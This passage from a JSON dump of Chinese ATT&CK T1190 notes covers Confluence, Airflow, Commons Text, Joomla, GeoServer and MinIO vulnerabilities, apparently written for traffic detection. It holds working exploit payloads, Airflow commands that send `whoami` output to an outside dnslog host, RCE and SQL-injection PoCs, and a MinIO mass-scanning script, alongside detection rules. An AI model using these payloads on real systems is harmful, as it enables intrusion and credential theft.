    "content": "# T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n### 简介\nConfluence是一个专业的企业知识管理与协同软件，也可以用于构建企业wiki。使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。\nConfluence Server and Data Center存在一个远程代码执行漏洞，未经身份验证的攻击者可以利用该漏洞向目标服务器注入恶意ONGL表达式，进而在目标服务器上执行任意代码。\n### 受影响版本\n```\nyml\nConfluence Server and Data Center >= 1.3.0\nConfluence Server and Data Center < 7.4.17\nConfluence Server and Data Center < 7.13.7\nConfluence Server and Data Center < 7.14.3\nConfluence Server and Data Center < 7.15.2\nConfluence Server and Data Center < 7.16.4\nConfluence Server and Data Center < 7.17.4\nConfluence Server and Data Center < 7.18.1\n```\n### EXP/POC\n请勿用做非法用途，仅用于检测测试。\nfofa语法：icon_hash=\"-305179312\"\n```\nyml\n/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/\n```\nURL decode\n```\nyml\n/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\"' command '\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}/\n```\n<https://github.com/Nwqda/CVE-2022-26134/blob/master/cve-2022-26134.py>\n<https://github.com/crowsec-edtech/CVE-2022-26134/blob/main/exploit.py>\n## 检测日志\nHTTP.log\n## 测试复现\n参考测试留痕内容。\n## 测试留痕\n```\nyml\nGET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1\nHost: x.x.x.x:81\nUser-Agent: python-requests/2.27.1\nAccept-Encoding: gzip, deflate, br\nAccept: */*\nConnection: keep-alive\nHTTP/1.1 302\nCache-Control: no-store\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\nX-Confluence-Request-Time: 1654694968696\nSet-Cookie: JSESSIONID=D7258B0DCEE36AE8056A8853FDCE6E69; Path=/; HttpOnly\nX-XSS-Protection: 1; mode=block\nX-Content-Type-Options: nosniff\nX-Frame-Options: SAMEORIGIN\nContent-Security-Policy: frame-ancestors 'self'\nX-Cmd-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)\nLocation: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true\nContent-Type: text/html;charset=UTF-8\nContent-Length: 0\nDate: Wed, 08 Jun 2022 13:29:28 GMT\nKeep-Alive: timeout=20\nConnection: keep-alive\n```\n## 检测规则/思路\n参考[splunk官方建议](https://www.splunk.com/en_us/blog/security/atlassian-confluence-vulnerability-cve-2022-26134.html)\n[Splunk公开规则](https://github.com/splunk/security_content/blob/develop/detections/web/confluence_unauthenticated_remote_code_execution_cve_2022_26134.yml)\n```\nsql\n| tstats count min(_time) as firstTime max(_time)\n  as lastTime from datamodel=Web where Web.url IN (\"*${*\", \"*%2F%7B*\") (Web.url=\"*org.apache.commons.io.IOUtils*\" Web.url=\"*java.lang.Runtime@getRuntime().exec*\") OR (Web.url=\"*java.lang.Runtime%40getRuntime%28%29.exec*\") OR (Web.url=\"*getEngineByName*\" AND Web.url=\"*nashorn*\" AND Web.url=\"*ProcessBuilder*\")\n  by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype\n  | `drop_dm_object_name(\"Web\")`\n  | `security_content_ctime(firstTime)`\n  | `security_content_ctime(lastTime)`\n  | `confluence_unauthenticated_remote_code_execution_cve_2022_26134_filter\n```\n对url中包含\"%24%7B\"或者\"/${*\"进行重点监测。可结合\"java.lang.Runtime%40getRuntime%28%29.exec\"进行辅助研判。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\natlassian-confluence-vulnerability-cve-2022-26134\n<https://www.splunk.com/en_us/blog/security/atlassian-confluence-vulnerability-cve-2022-26134.html>\nCVE-2022-26134漏洞复现(Confluence OGNL注入rce漏洞)\n<https://blog.csdn.net/qq_17754023/article/details/125125221>\n"
  },
  {
    "path": "Web/2022/T1190-CVE-2022-40127 Apache Airflow代码注入.md",
    "content": "# T1190-CVE-2022-40127 Apache Airflow代码注入\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n### 简介\nApache Airflow是一个可编程，调度和监控的工作流平台，基于有向无环图(DAG)，Airflow可以定义一组有依赖的任务，按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0；当攻击者可访问到Apache Airflow的后台，且环境中存在默认Example Dags，则可构造恶意请求借助run_id执行任意命令。\n### EXP/POC\n请勿用做非法用途，仅用于流量分析检测。\n网络空间测绘查询：title=\"Airflow\"\n#### POC-1\n```\nyml\n{\"fxoxx\":\"\\\";curl `uname`.lxx2.535ld4zn.dnslog.pw;\\\"\"}\n```\n![poc1](https://user-images.githubusercontent.com/18260135/202715494-4ca2fd4f-384e-40aa-ae7b-02ca51defa4f.png)\n![poc_1](https://user-images.githubusercontent.com/18260135/202846433-4a4a40fa-675e-477b-a9c4-be2f6c894583.png)\n#### POC-2\n```\nbash\ncurl -X 'POST' \\\n  'http://10.11.12.131:8080/api/v1/dags/example_bash_operator/dagRuns' \\\n  - H 'accept: application/json' \\\n  - H 'Content-Type: application/json' \\\n  - d '{\n    \"conf\": {\n\"dag_run\": \"api2\"\n},\n  \"dag_run_id\": \"id \\\"&& curl `whoami`.api222.535ld4zn.dnslog.pw\",\n  \"logical_date\": \"2022-11-19T10:13:13.920Z\"\n}'\n```\n![POC-2](https://user-images.githubusercontent.com/18260135/202846307-165943c3-dd8e-4d92-aae8-72516fc00f82.png)\n![Poc2](https://user-images.githubusercontent.com/18260135/202846350-ca6d0770-8143-4da8-8ac5-1596f365cff9.png)\n![pOc2](https://user-images.githubusercontent.com/18260135/202846365-e4d0b467-7e06-4112-899b-14245dc17b5f.png)\n![poc2](https://user-images.githubusercontent.com/18260135/202846417-9d359d5a-cc6f-4be2-8003-cfefd3d488f4.png)\n## 检测日志\nHTTP.log\n## 测试复现\n无\n## 测试留痕\n无\n## 检测规则/思路\n分析思路：\n- 请求路径中是否含有\"/airflow/\"\n- 请求路径是否为\"/api/v1/dags/example_bash_operator/dagRuns\"\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2022-40127\n<https://github.com/Mr-xn/CVE-2022-40127>\nApache Airflow（CVE-2022-40127）漏洞复现\n<https://www.freebuf.com/articles/web/350696.html>\n"
  },
  {
    "path": "Web/2022/T1190-CVE-2022-42889 Apache Commons Text RCE.md",
    "content": "# T1190-CVE-2022-42889-Apache_Commons_Text_RCE\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n### 简介\nApache Commons Text：该组件是一款处理字符串和文本块的开源项目，简单来说，除了核心Java提供的功能外，Apache Commons文本库还包含了许多有用的实用程序方法，用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包，常用于数据库查询前的语句替换，或者页面输出时的替换。\nApache Commons Text执行变量插值，允许动态评估和扩展属性。插值的标准格式是“$｛prefix:name｝”，其中“prefix”用于查找org.apache.commons.text.loookup的实例，执行插值的StringLookup 。从1.5版开始一直到1.9版，默认Lookup实例集包括插值器，这些插值器可能导致任意代码执行或与远程服务器通信。这些查找是：-“script”-使用JVM脚本执行引擎（javax.script）执行表达式-“dns”-解析dns记录-“url”-从url加载值，如果使用不受信任的配置值，则受影响版本中使用插值默认值的应用程序，可能容易受到远程代码执行或与远程服务器无意接触的影响。建议用户升级到Apache Commons Text 1.10.0，默认情况下会禁用有问题的插值器。\n### 受影响版本\n```\nyml\n1.5 <= Apache Commons Text <= 1.9\n```\n- --\n### EXP/POC\n请勿用做非法用途，仅用于流量分析检测。\n#### CVE-2022-42889\n```\njava\nimport org.apache.commons.text.StringSubstitutor;\npublic class CommonsPoc {\n    public static void main(String[] args) {\n        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();\n// 命令执行\n//      String poc = interpolator.replace(\"${script:js:java.lang.Runtime.getRuntime().exec(\\\"open /System/Applications/Calculator.app\\\")}\");\n// SSRF\n//      String poc = interpolator.replace(\"${url:utf-8:http://*.dnslog.cn}\");\n// 命令执行base64编码绕过\n        String poc = interpolator.replace(\"${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoIm9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiKX0=}\");\n    }\n}\n```\n- --\n#### CVE-2022-33980\n```\n java\npackage com.exploit.payloadclass;\nimport org.apache.commons.configuration2.interpol.ConfigurationInterpolator;\nimport org.apache.commons.configuration2.interpol.InterpolatorSpecification;\npublic class CommonsConfiguration2Poc {\n    public static void main(String[] args) {\n        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())\n                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create();\n        ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);\n        System.out.println(interpolator.interpolate(\"${script:js:java.lang.Runtime.getRuntime().exec(\\\"open /System/Applications/Calculator.app\\\")}\"));\n    }\n}\n```\n- --\n## 检测日志\nHTTP.log\n## 测试复现\n无\n## 测试留痕\n无\n## 检测规则/思路\n分析思路：\n- 关注getRuntime().exec前后参数及参数返回内容\n- 关注命令执行编码绕过行为，需解码分析\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nApache commons-text和Configuration 命令执行CVE-2022-42889/CVE-2022-33980分析\n<https://blog.csdn.net/qq_34101364/article/details/127338170>\ntext4shell CVE-2022-42889 poc\n<https://www.ddosi.org/cve-2022-42889/>\n【漏洞分析】Apache Commons Text远程代码执行漏洞（CVE-2022-42889）\n<https://blog.csdn.net/olga5abl/article/details/128111570>\n"
  },
  {
    "path": "Web/2023/CVE-2023-23752/T1190-CVE-2023-23752.md",
    "content": "# T1190-CVE-2023-23752-Joomla权限绕过漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nJoomla是一个开源免费的内容管理系统（CMS），基于PHP开发。\n在其4.0.0版本到4.2.7版本中，存在一处属性覆盖漏洞，导致攻击者可以通过恶意请求绕过权限检查，访问任意Rest API。\n参考链接：\n- <https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html>\n- <https://xz.aliyun.com/t/12175>\n- <https://vulncheck.com/blog/joomla-for-rce>\n## 检测日志\nHTTP.log\n## 测试复现\n### 漏洞环境\n漏洞环境参考vulhub进行部署模拟\n执行如下命令启动一个Joomla 4.2.7：\n```\ndocker-compose up -d\n```\n服务启动后，访问`http://your-ip:8080`即可查看到Joomla页面。\n### 漏洞复现\n这个漏洞是由于错误的属性覆盖导致的，攻击者可以通过在访问Rest API时传入参数`public=true`来绕过权限校验。\n比如，访问下面这个链接即可读取所有配置项，包括数据库连接用户名和密码：\n```\nhttp://your-ip:8080/api/index.php/v1/config/application?public=true\n```\n![](1.png)\n如果不添加`public=true`，则访问会被拒绝。\n访问下面这个链接即可读取所有用户信息，包含邮箱等：\n```\nhttp://your-ip:8080/api/index.php/v1/users?public=true\n```\n![](2.png)\n## 测试留痕\n![](3.png)\n![](4.png)\n流量包见同目录下pcap文件。\n## 检测规则/思路\n对请求路径及返回内容进行重点关注，研判分析时要根据url路径内容，结合返回信息+状态码进行研判。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nJoomla权限绕过漏洞（CVE-2023-23752）\n<https://github.com/vulhub/vulhub/blob/6e9b1c1acd60529384a5751ea9de4dae595259c6/joomla/CVE-2023-23752/README.zh-cn.md?plain=1>\nJoomla未授权访问漏洞|CVE-2023-23752复现及修复\n<https://www.cnblogs.com/xiaoyunxiaogang/p/17219281.html>\n"
  },
  {
    "path": "Web/2023/CVE-2023-25157/T1190-CVE-2023-25157.md",
    "content": "# T1190-CVE-2023-25157-GeoServer OGC Filter SQL注入漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nGeoServer 是OpenGIS Web服务器规范的J2EE实现，利用GeoServer可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。\n在版本2.22.1和2.21.4及以前，多个OGC表达式中均存在SQL注入漏洞。\n参考链接：\n- https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158\n- https://github.com/advisories/GHSA-7g5f-wrx8-5ccf\n## 检测日志\nHTTP.log\n## 测试复现\n### 漏洞环境\nFOFA: app = \"GeoServer\"\n执行如下命令启动一个SeoServer 2.22.1：\n```\ndocker-compose up -d\n```\n环境启动后，访问即可查看到GeoServer的首页。http://your-ip:8080/geoserver\n## 漏洞复现\n在利用漏洞前，需要目标服务器中存在类型是PostGIS的数据空间（datastore）和工作空间（workspace）。在Vulhub中，已经包含满足条件的工作空间，其信息如下：\n- 工作区名称：vulhub\n- 数据存储名称：pg\n- 要素类型（表）名称：example\n- 要素类型的属性之一：name\n利用这些已知参数，发送如下URL即可触发SQL注入漏洞：\n```\nhttp://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true\n```\n![test](1.png)\n获取GeoServer中WFS服务的图层信息（包括支持的 WFS 版本、支持的数据格式、支持的查询方式、支持的空间参考系统等）\n```\nGET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1\n```\n获取某个图层的属性名称\n```\nGET /geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=图层名称 HTTP/1.1\n```\n## 测试留痕\n```\nyml\nGET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name%2C%27x%27%27)+%3D+true+and+1%3D(SELECT+CAST+((SELECT+version())+AS+integer))+--+%27)+%3D+true HTTP/1.1\nHost: 192.168.101.129:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nX-Frame-Options: SAMEORIGIN\nContent-Type: text/xml;charset=utf-8\nContent-Encoding: gzip\nTransfer-Encoding: chunked\nServer: Jetty(9.4.48.v20220622)\n<?xml version=\"1.0\" ?>\n<ServiceExceptionReport\n   version=\"1.2.0\"\n   xmlns=\"http://www.opengis.net/ogc\"\n   xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n   xsi:schemaLocation=\"http://www.opengis.net/ogc http://schemas.opengis.net/wfs/1.0.0/OGC-exception.xsd\">\n   <ServiceException>\n      java.lang.RuntimeException: java.io.IOException\njava.io.IOExceptionERROR: invalid input syntax for type integer: &quot;PostgreSQL 14.8 on x86_64-pc-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r10) 12.2.1 20220924, 64-bit&quot;\n</ServiceException></ServiceExceptionReport>\n```\n流量包见同目录下pcap文件。\n## 检测规则/思路\n对请求路径及返回内容进行重点关注。\n研判分析要点：\n- 请求方法GET\n- 请求url路径及路径中是否包含SQL语句\n- 状态码200，结合返回body信息，判断攻击是否成功。\n辅助判断：上下文关联分析，是否存在获取GeoServer中WFS服务的图层信息、获取某个图层的属性名称等行为\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nGeoServer OGC Filter SQL注入漏洞（CVE-2023-25157）\n<https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2023-25157/README.zh-cn.md>\nGeoServer SQL注入漏洞复现（CVE-2023-25157）\n<https://blog.csdn.net/qq_41904294/article/details/131117123>\nGeoServer SQL 注入漏洞分析（CVE-2023-25157）\n<https://www.freebuf.com/vuls/371011.html>\n"
  },
  {
    "path": "Web/2023/CVE-2023-28432/T1190-CVE-2023-28432.md",
    "content": "# T1190-CVE-2023-28432-MinIO集群模式信息泄露漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nMinIO是一个开源对象存储系统。\n在其`RELEASE.2023-03-20T20-16-18Z`版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码`MINIO_SECRET_KEY`和`MINIO_ROOT_PASSWORD`。\n参考链接：\n- <https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q>\n- <https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ>\n## 检测日志\nHTTP.log\n## 测试复现\n### 漏洞环境\n执行如下命令启动一个MinIO集群，其中包含3个以集群模式运行的服务：\n```\nbash\ndocker-compose up -d\n```\n- ----------\n集群启动后，访问http://your-ip:9001可以查看Web管理页面，访问http://your-ip:9000是API服务。\n### 漏洞复现\n这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上，发送如下数据包即可查看泄露的环境变量：\n```\nyml\nPOST /minio/bootstrap/v1/verify HTTP/1.1\nHost: your-ip:9000\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36\nConnection: close\nCache-Control: max-age=0\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 0\n```\n- ----------\n这里采用另外一种方法进行验证：\n```\nsh\njackma@linux:~/下载$ curl -XPOST 10.211.55.71:9000/minio/bootstrap/v1/verify\n{\"MinioEndpoints\":[{\"Legacy\":true,\"SetCount\":1,\"DrivesPerSet\":3,\"Endpoints\":[{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"node1:9000\",\"Path\":\"/mnt/data1\",\"RawPath\":\"\",\"OmitHost\":false,\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\",\"IsLocal\":true},{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"node2:9000\",\"Path\":\"/mnt/data2\",\"RawPath\":\"\",\"OmitHost\":false,\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\",\"IsLocal\":false},{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"node3:9000\",\"Path\":\"/mnt/data3\",\"RawPath\":\"\",\"OmitHost\":false,\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\",\"IsLocal\":false}],\"CmdLine\":\"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3\",\"Platform\":\"OS: linux | Arch: amd64\"}],\"MinioEnv\":{\"MINIO_ACCESS_KEY_FILE\":\"access_key\",\"MINIO_CONFIG_ENV_FILE\":\"config.env\",\"MINIO_KMS_SECRET_KEY_FILE\":\"kms_master_key\",\"MINIO_ROOT_PASSWORD\":\"minioadmin-vulhub\",\"MINIO_ROOT_PASSWORD_FILE\":\"secret_key\",\"MINIO_ROOT_USER\":\"minioadmin\",\"MINIO_ROOT_USER_FILE\":\"access_key\",\"MINIO_SECRET_KEY_FILE\":\"secret_key\"}}\n```\n- ----------\n可见，其中包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。使用这个账号密码，即可成功登录管理后台。\n### 批量检测脚本\n```\npy\nimport requests\nimport sys\nimport urllib3\nfrom argparse import ArgumentParser\nimport threadpool\nfrom urllib import parse\nfrom time import time\nimport random\n# app=\"minio\"\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nfilename = sys.argv[1]\nurl_list=[]\ndef get_ua():\n    first_num = random.randint(55, 62)\n    third_num = random.randint(0, 3200)\n    fourth_num = random.randint(0, 140)\n    os_type = [\n        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',\n        '(Macintosh; Intel Mac OS X 10_12_6)'\n    ]\n    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)\n    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',\n                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']\n                  )\n    return ua\nproxies={'http': 'http://127.0.0.1:8080',\n        'https': 'https://127.0.0.1:8080'}\ndef wirte_targets(vurl, filename):\n    with open(filename, \"a+\") as f:\n        f.write(vurl + \"\\n\")\n# poc\ndef check_url(url):\n    url=parse.urlparse(url)\n    hostname  = url.hostname\n    url=url.scheme + '://' + url.netloc\n    vulnurl=url + \"/minio/bootstrap/v1/verify\"\n    headers = {\n        'User-Agent': get_ua(),\n        \"host\":hostname,\n        \"Content-Type\": \"application/x-www-form-urlencoded\"\n    }\n    data=\"\"\n    try:\n        res = requests.post(vulnurl, verify=False, allow_redirects=False, headers=headers,data=data ,timeout=5)\n        if res.status_code == 200 and \"MinioEn\" in res.text:\n            # print(res.text)\n            print(\"\\033[32m[+]{} is vulnerable\\033[0m\".format(url))\n            wirte_targets(vulnurl,\"vuln.txt\")\n        else:\n            print(\"\\033[34m[-]{} not vulnerable.\\033[0m\".format(url))\n    except Exception as e:\n        print(\"\\033[34m[!]{} request false.\\033[0m\".format(url))\n        pass\n# 多线程\ndef multithreading(url_list, pools=5):\n    works = []\n    for i in url_list:\n        # works.append((func_params, None))\n        works.append(i)\n    # print(works)\n    pool = threadpool.ThreadPool(pools)\n    reqs = threadpool.makeRequests(check_url, works)\n    [pool.putRequest(req) for req in reqs]\n    pool.wait()\nif __name__ == '__main__':\n    arg=ArgumentParser(description='check_url By m2')\n    arg.add_argument(\"-u\",\n                        \"--url\",\n                        help=\"Target URL; Example:http://ip:port\")\n    arg.add_argument(\"-f\",\n                        \"--file\",\n                        help=\"Target URL; Example:url.txt\")\n    args=arg.parse_args()\n    url=args.url\n    filename=args.file\n    print(\"[+]任务开始.....\")\n    start=time()\n    if url != None and filename == None:\n        check_url(url)\n    elif url == None and filename != None:\n        for i in open(filename):\n            i=i.replace('\\n','')\n            url_list.append(i)\n        multithreading(url_list,10)\n    end=time()\n    print('任务完成,用时%ds.' %(end-start))\n```\n## 测试留痕\n![http.log](/1.png)\nHTTP_log\n```\nyml\nPOST /minio/bootstrap/v1/verify HTTP/1.1\nHost: 10.211.55.71:9000\nUser-Agent: curl/7.81.0\nAccept: */*\nHTTP/1.1 200 OK\nContent-Security-Policy: block-all-mixed-content\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nVary: Origin\nX-Amz-Id-2: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\nX-Amz-Request-Id: 176C8C25765008C9\nX-Content-Type-Options: nosniff\nX-Xss-Protection: 1; mode=block\nDate: Tue, 27 Jun 2023 15:00:52 GMT\nContent-Length: 1107\nContent-Type: text/plain; charset=utf-8\n{\"MinioEndpoints\":[{\"Legacy\":true,\"SetCount\":1,\"DrivesPerSet\":3,\"Endpoints\":[{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"node1:9000\",\"Path\":\"/mnt/data1\",\"RawPath\":\"\",\"OmitHost\":false,\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\",\"IsLocal\":true},{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"node2:9000\",\"Path\":\"/mnt/data2\",\"RawPath\":\"\",\"OmitHost\":false,\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\",\"IsLocal\":false},{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"node3:9000\",\"Path\":\"/mnt/data3\",\"RawPath\":\"\",\"OmitHost\":false,\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\",\"IsLocal\":false}],\"CmdLine\":\"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3\",\"Platform\":\"OS: linux | Arch: amd64\"}],\"MinioEnv\":{\"MINIO_ACCESS_KEY_FILE\":\"access_key\",\"MINIO_CONFIG_ENV_FILE\":\"config.env\",\"MINIO_KMS_SECRET_KEY_FILE\":\"kms_master_key\",\"MINIO_ROOT_PASSWORD\":\"minioadmin-vulhub\",\"MINIO_ROOT_PASSWORD_FILE\":\"secret_key\",\"MINIO_ROOT_USER\":\"minioadmin\",\"MINIO_ROOT_USER_FILE\":\"access_key\",\"MINIO_SECRET_KEY_FILE\":\"secret_key\"}}\n```\n- ----------\n## 检测规则/思路\n对请求方法和URL、HOST内容进行分析，同时观察返回内容中是否包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。\n## 